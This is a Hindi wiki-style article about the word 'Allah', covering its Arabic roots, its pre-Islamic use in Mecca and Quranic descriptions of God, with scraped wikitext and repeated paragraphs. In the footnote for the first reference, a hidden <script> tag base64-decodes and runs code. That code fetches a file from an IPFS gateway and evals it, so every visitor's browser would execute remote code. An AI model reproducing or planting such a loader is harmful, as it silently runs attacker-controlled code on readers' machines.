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अल्लाह ([[अरबी भाषा|अरबी]]: الله, अल्‌ इलाह) शब्द का मूल अरबी भाषा का '''अल्‌ इलाह''' है। [[उर्दू भाषा|उर्दू]] और [[फ़ारसी भाषा|फ़ारसी]] में अल्लाह को ख़ुदा भी कहा जाता है। कुछ लोगों का विचार है कि इसका मूल [[आरमाईक भाषा|आरमाईक]] का '''इलाहा''' है। इस्लाम से पाँच शताब्दी पहले की सफा की इमारतों पर यह शब्द '''हल्लाह''' के रूप में खुदा हुआ था। छह शताब्दी पहले की ईसाइयों की इमारतों पर भी यह शब्द खुदा हुआ मिलता है।
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अल्लाह ([[अरबी भाषा|अरबी]]: الله, अल्‌ इलाह) शब्द का मूल अरबी भाषा का '''अल्‌ इलाह''' है। [[उर्दू भाषा|उर्दू]] और [[फ़ारसी भाषा|फ़ारसी]] में अल्लाह को ख़ुदा भी कहा जाता है। कुछ लोगों का विचार है कि इसका मूल [[आरमाईक भाषा|आरमाईक]] का '''इलाहा''' है। इस्लाम से पाँच शताब्दी पहले की सफा की इमारतों पर यह शब्द '''हल्लाह''' के रूप में खुदा हुआ था। छह शताब्दी पहले की ईसाइयों की इमारतों पर भी यह शब्द खुदा हुआ मिलता है।<ref name="विश्वकोश">{{cite book | last = | first =  | title =हिन्दी विश्वकोश | edition =[[1973]] | publisher =नागरी प्रचारिणी सभा वाराणसी | location =भारतडिस्कवरी पुस्तकालय | language =[[हिन्दी]] | pages =270 | chapter =खण्ड 1 }}</ref>
  
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[[इस्लाम]] से पहले भी [[अरब]] में लोग इस शब्द से परिचित थे। [[मक्का]] की मूतियों में एक अल्लाह की भी थी। यह मूर्ति कुरेश कबीले को विशेष मान्य थी। मूर्तियों में इसकी प्रतिष्ठा सबसे अधिक थी और सृष्टिकार्य इसी से संबंधित माना जाता था। परंतु अरबों का दृष्टिकोण इसके संबंध में निश्चित नहीं था और इसकी शक्तियों तथा कार्यों का उन्हें स्पष्ट ज्ञान न था।<ref name="विश्वकोश" />
  
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ईश्वर को ‘क़ुरान’ ने सृष्टि का कर्ता, धर्ता, हर्ता माना है, जैसा कि उसके निम्न उद्धरणों से मालूम होगा -
 
ईश्वर को ‘क़ुरान’ ने सृष्टि का कर्ता, धर्ता, हर्ता माना है, जैसा कि उसके निम्न उद्धरणों से मालूम होगा -

11:27, 9 मई 2011 का अवतरण

अरबी भाषा में अल्लाह

अल्लाह (अरबी: الله, अल्‌ इलाह) शब्द का मूल अरबी भाषा का अल्‌ इलाह है। उर्दू और फ़ारसी में अल्लाह को ख़ुदा भी कहा जाता है। कुछ लोगों का विचार है कि इसका मूल आरमाईक का इलाहा है। इस्लाम से पाँच शताब्दी पहले की सफा की इमारतों पर यह शब्द हल्लाह के रूप में खुदा हुआ था। छह शताब्दी पहले की ईसाइयों की इमारतों पर भी यह शब्द खुदा हुआ मिलता है।[1]

इस्लाम से पहले भी अरब में लोग इस शब्द से परिचित थे। मक्का की मूतियों में एक अल्लाह की भी थी। यह मूर्ति कुरेश कबीले को विशेष मान्य थी। मूर्तियों में इसकी प्रतिष्ठा सबसे अधिक थी और सृष्टिकार्य इसी से संबंधित माना जाता था। परंतु अरबों का दृष्टिकोण इसके संबंध में निश्चित नहीं था और इसकी शक्तियों तथा कार्यों का उन्हें स्पष्ट ज्ञान न था।[1]

इस्लाम के उदय के अनंतर इसके अर्थ में बड़ा परिवर्तन हुआ। क़ुरान के जिस अंश का सबसे पहले इलहाम हुआ उसमें अल्लाह के गुण सृष्टि करना तथा शिक्षा देना बताए गए हैं। क़ुरान में अल्लाह के और भी बहुत से गुण वर्णित हैं, जैसे दया, न्याय, पोषण, शासन आदि। इस्लाम ने सबसे अधिक बल अल्लाह की एकता पर दिया है अर्थात्‌ उसके कामों तथा गुणों में कोई उसका साझीदार नहीं है। यह इस्लाम का मौलिक सिद्धांत है, जिसे स्वीकार किए बिना कोई मुसलमान नहीं हो सकता।[1]

ईश्वर को ‘क़ुरान’ ने सृष्टि का कर्ता, धर्ता, हर्ता माना है, जैसा कि उसके निम्न उद्धरणों से मालूम होगा -

  • “वह (ईश्वर) जिसने भूमि में जो कुछ है (सबको) तुम्हारे लिए बनाया।“[2]
  • “उसने सचमुच भूमि और आकाश बनाया। मनुष्य का क्षुद्र वीर्य – बिन्दु से बनाया। उसने पशु बनाए, जिनसे गर्म वस्त्र पाते तथा और भी अनेक प्रकार के लाभ उठाते हो, एवं उन्हें खाते हो।“[3]
  • “वह तुम्हारा ईश्वर चीजों का बनाने वाला है। उसके सिवाय कोई भी पूज्य नहीं है।“[4]
  • “ईश्वर सब चीजों का सृष्टा तथा अधिकारी है।“[5]
  • “निस्सन्देह ईश्वर भूमि और आकाश को धारण किए हुए है कि वह नष्ट न हो जाए।“[6]
  • “जो परमेश्वर मारता और जिलाता है।“[7]
  • ईश्वर बड़ा ही दयालु है, वह अपराधों को क्षमा कर देता है -

“निस्सन्देह तेरा ईश्वर मनुष्यों के लिए उनके अपराधों का क्षमा करने वाला है।“[8]

  • आस्तिकों पर ही नहीं, फ़रिश्तों पर भी—

“इस बात में (हे मुहम्मद !) तेरा कुछ नहीं, चाह वह (ईश्वर) उन (क़फ़िरों) को क्षमा करे या उन पर विपद डाले, यदि वह अत्याचारी है।“[9]

  • ईश्वर सत्य है -

“परमेश्वर सत्य है।“[10]

  • ईश्वर का न्यायकारी होना इस प्रकार से कहा गया है -

“क़यामत के दिन हम ठीक तौलेंगे, किसी जीव पर कुछ भी अन्याय नहीं किया जाएगा। चाहे वह एक सरसों के बराबर ही क्यों न हो, किन्तु हमारे पास में पूरा हिसाब रहेगा।“[11]

  • निम्न वाक्य के अनेक ईश्वरीय गुण बतलाए गए हैं -

“परमेश्वर जिसके सिवाय कोई भी ईश्वर नहीं है - जीवन और सत् है। उसे नींद या औंघ नहीं आती। जो कुछ भी भूमि और प्रकाश में है, वह उसी के लिए ही है। जो कि उसकी आज्ञा के बिना उसके पास सिफ़ारिश करे? वह जानता है, जो कुछ उनके आगे या पीछ है, वह कोई बात उससे छिपा नहीं सकते, सिवाय इसके कि जिसे वह चाहे विशाल भूमि और प्रकाश की कुर्सी, जिसकी रक्षा उसे नहीं थकाती वह उत्तम और महान है।“

[12]

  • परमेश्वर माता - पिता - स्त्री - पुत्रादि रहित है -

“न वह किसी से पैदा हुआ है, न उससे कोई पैदा है।“[13]

  • ईश्वर में मार्ग में खर्च करने का वर्णन इस प्रकार है -

“कौन है जो कि ईश्वर को अच्छा कर्ज़ दे, वह उसे कई गुना बढ़ाएगा।“[14]

“निस्सन्देह दाता स्त्री–पुरुषों ने परमेश्वर को अच्छा कर्ज़ दिया है, उनका वह दुगुना होगा, और उनके लिए (इसका) अच्छा बदला है।“[15]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 “खण्ड 1”, हिन्दी विश्वकोश, 1973 (हिन्दी), भारतडिस्कवरी पुस्तकालय: नागरी प्रचारिणी सभा वाराणसी, 270।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. (क़ुरान 2:4:9)
  3. (क़ुरान 16:1:2-5)
  4. (क़ुरान 4:7:2)
  5. (क़ुरान 39:6:10)
  6. (क़ुरान 35:5:4)
  7. (क़ुरान 53:3:12)
  8. (क़ुरान 13:1:6)
  9. (क़ुरान 3:13:8)
  10. (क़ुरान 31:3:11)
  11. (क़ुरान 21:4:6)
  12. (क़ुरान 2:34:2)
  13. (क़ुरान 112:1:3)
  14. (क़ुरान 2:32:3) (क़ुरान 57:2:1)
  15. (क़ुरान 57:2:8)

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